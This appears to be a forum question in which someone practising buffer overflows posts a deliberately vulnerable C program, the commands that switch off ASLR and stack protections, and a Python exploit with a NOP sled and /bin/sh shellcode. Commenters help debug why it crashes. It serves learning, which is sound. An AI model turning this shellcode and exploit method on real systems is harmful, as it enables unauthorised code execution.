1

I wrote this short C program to practice buffer overflow exploits:

#include <stdio.h>
#include <string.h>
#include <stddef.h>
#include <inttypes.h>

char *decode(char *s){
  for(int i = 0; i < strlen(s); i++){
    s[i] ^= 0x15;
  }
  return s;
}

void get_secret(int argc, char *argv[]){

  uint32_t eip_addr;
  char secret[] = "}aaef/::lz`a`;wp:qDb!b,BrMvD";
  char buffer[100];

  if(argc > 1){
    strcpy(buffer, argv[1]);
  }else{
    scanf("%s", buffer);
  }

  printf("You entered: %s\n\n", buffer);

  if(strcmp(buffer, secret) == 0){
    printf("Passwords match!\n");
    printf("Here is the secret message: %s\n", decode(secret));
  }else{
    printf("Get the f!@# out of here!\n");
    asm volatile("1: lea 1b, %0;": "=a"(eip_addr));
    printf("EIP address:  %" PRIx32 "; %" PRIu32 " bytes from main start\n",
       eip_addr,eip_addr - (uint32_t)get_secret);
  }
}
int main(int argc, char *argv[]){  
  printf("Welcome to the simple verifier!\n");
  printf("Please enter your password: ");

  get_secret(argc, argv);

  return 0;
}

I disable ASLR and compile it with NX, PIE, and CANARY disabled:

echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -g -no-pie -fno-stack-protector -z execstack overflow.c -o overflow

Using r2, ragg2 and rarun2, I find where I can overwrite the return address of get_secret():

~$ ragg2 -P 200 -r > pattern.txt
~$ echo "#!/usr/bin/rarun2" > profile.rr2 && echo "stdin=./pattern.txt" >> profile.rr2
~$ r2 -r profile.rr2 -d overflow
[0xf7795a20]> dc
EIP address:  804930b; 257 bytes from main start
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41784141 code=1 ret=0
[0x41784141]> wopO 0x41784141
145
[0x41784141]> 

So, now I know exactly how big my payload must be to get to the return address, 145 bytes. Now I find an address to point to on the stack using gdb:

~$ gdb overflow_exe -q
gdb-peda$ b 20
gdb-peda$ b 25
gdb-peda$ r $(python -c 'print "A"*145+"B"*4')
gdb-peda$ c
gdb-peda$ x/200x $esp
0xffffd100: 0x39    0x25    0xfe    0xf7    0x00    0x00    0x00    0x00
0xffffd108: 0x7d    0xc5    0xe5    0x41    0x41    0x41    0x41    0x41
0xffffd110: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd118: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd120: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd128: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd130: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd138: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd140: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd148: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd150: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd158: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd160: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd168: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd170: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd178: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd180: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd188: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd190: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41
0xffffd198: 0x41    0x41    0x41    0x41    0x42    0x42    0x42    0x42
0xffffd1a0: 0x00    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
0xffffd1a8: 0x80    0x28    0xe2    0xf7    0x55    0x93    0x04    0x08
0xffffd1b0: 0x02    0x00    0x00    0x00    0x74    0xd2    0xff    0xff
0xffffd1b8: 0x80    0xd2    0xff    0xff    0xe0    0xd1    0xff    0xff
0xffffd1c0: 0x00    0x00    0x00    0x00    0x02    0x00    0x00    0x00
gdb-peda$

I should be able to replace those \x41s with \x90s, append my shellcode to it, then some address on the stack on to the end of that, making my payload look something like this:

"\x90"*117 + </bin/sh shellcode> + <some address that's filled with \x90>

Using this logic, I picked an address in the middle on the NOPs, 0xffffd150, and crafted the following python exploit:

#!/usr/bin/env python
import struct, os

#land in middle of NOPs
ret_addr = 0xffffd150

#shellcode -> 28 bytes
shell_code = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

#correct endianess
def conv(val):
    return struct.pack('<I', val)

# Build the exploit string
# 149 bytes to overwrite the ret addr total
# Need to take 28 bytes for the shellcode and 4 for the return addr
# 145 - 28 = 117
exp = "\x90"*117
exp += shell_code # at the ret addr (145 bytes) here
exp += conv(ret_addr)

print("Starting exploit")
os.system("./overflow_exe "+exp)

But...I keep getting an Illegal instruction fault:

~$ ./overflow_exploit.py 
Starting exploit
Welcome to the simple verifier!
Please enter your password: You entered: ���������������������������������������������������������������������������������������������������������������������1�Ph//shh/bin�����°
                 1�@̀P���

Get the f!@# out of here!
EIP address:  804930b; 257 bytes from main start
Illegal instruction

Back in gdb I can see the NOP sled, shellcode, and return address, all where they should be:

gdb-peda$ x/200x $esp
0xffffd120: 0xf7fe2539  0x00000000  0x90e5c57d  0x90909090
0xffffd130: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd140: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd150: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd160: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd170: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd180: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd190: 0x90909090  0x90909090  0x90909090  0x90909090
0xffffd1a0: 0x6850c031  0x68732f2f  0x69622f68  0x89e3896e
0xffffd1b0: 0xb0c289c1  0x3180cd0b  0x80cd40c0  0xffffd150

I'm at a loss. I re-check the binary's security features, and NX is still disabled (which is the only reason I can think of to explain the shellcode eliciting an "Illegal instruction" fault):

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

Why is my exploit throwing an Illegal instruction fault when all security features are disabled, and my shellcode is in the correct position on the stack?

I'm on Debian 9

  • Try to step instruction by instruction through gdb with the si (stepi) command. You will get a more accurate information about what does cause the problem. Also, use layout next a few time until you get the assembly displayed. – perror Apr 8 at 5:23
  • 2
    You can turn on core dumps and analyze where your return address lands. Stack addresses are not same when you run a binary under gdb and without it. – sudhackar Apr 8 at 8:08
  • Following stackoverflow.com/a/17775966/4678883 managed to get the correct stack address (which was in fact different). My shellcode executes but for some reason instead of spawning a shell, it interprets the remaining stack contents as a shell command. So if this is my argument: $(python -c 'print "\x90"*65 + "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"A"*50+"\x50\xdc\xff\xff"'), I get sh: 1: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA���: not found – corporateWhore Apr 10 at 2:17
  • What architecture are you running on ? Is it x86 or x86_64 ? If your running your shellcode on an x86_64 processor, the first instruction are : XOR EAX, EAX PUSH RAX instead of (on x86_32) XOR EAX, EAX PUSH EAX – Caroline Apr 15 at 7:35
  • I'm running X86_64 but the program was compiled as X86. – corporateWhore Apr 15 at 12:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.